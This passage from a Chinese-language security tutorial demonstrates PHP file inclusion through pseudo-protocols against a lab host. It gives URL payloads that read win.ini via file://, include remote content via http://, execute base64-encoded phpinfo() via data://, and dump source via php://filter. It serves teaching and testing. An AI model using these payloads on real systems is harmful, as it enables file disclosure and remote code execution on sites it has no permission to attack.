这里举几个例子进行演示一下,由于部分伪协议需要且版本并且需要调配置,这里就不来回切换了。
2.4.2.1.file利用方式file其实和绝对路径读取差不多。
URL:http://192.168.10.150/1.php/?name=file://C:/Windows/win.ini
其实http这里的利用方式,除了能够跳转,还能进行远程包含进行漏洞执行。
URL:http://192.168.10.150/1.php/?name=http://www.baidu.com
从php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是php代码,就会执行任意代码。
这里需要注意若使用data的话需要allow_url_include 和allow_url_fopen为on。
URL:http://192.168.10.150/1.php/?name=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
"PD9waHAgcGhwaW5mbygpPz4="是通过base64加密的<?php phpinfo();?>。
1)php://filter
php://filter 可以在执行代码前将代码换个方式读取出来,只是读取,不需要开启,读取源代码并进行 base64 编码输出,不然会直接当做 php 代码执行就看不到源代码内容了
用法:php://filter/read=convert.base64-encode/resource=要读取的文件
URL:http://192.168.10.150/1.php/?name=php://filter/read=convert.base64-encode/resource=2.php
解密:<?php phpinfo();?>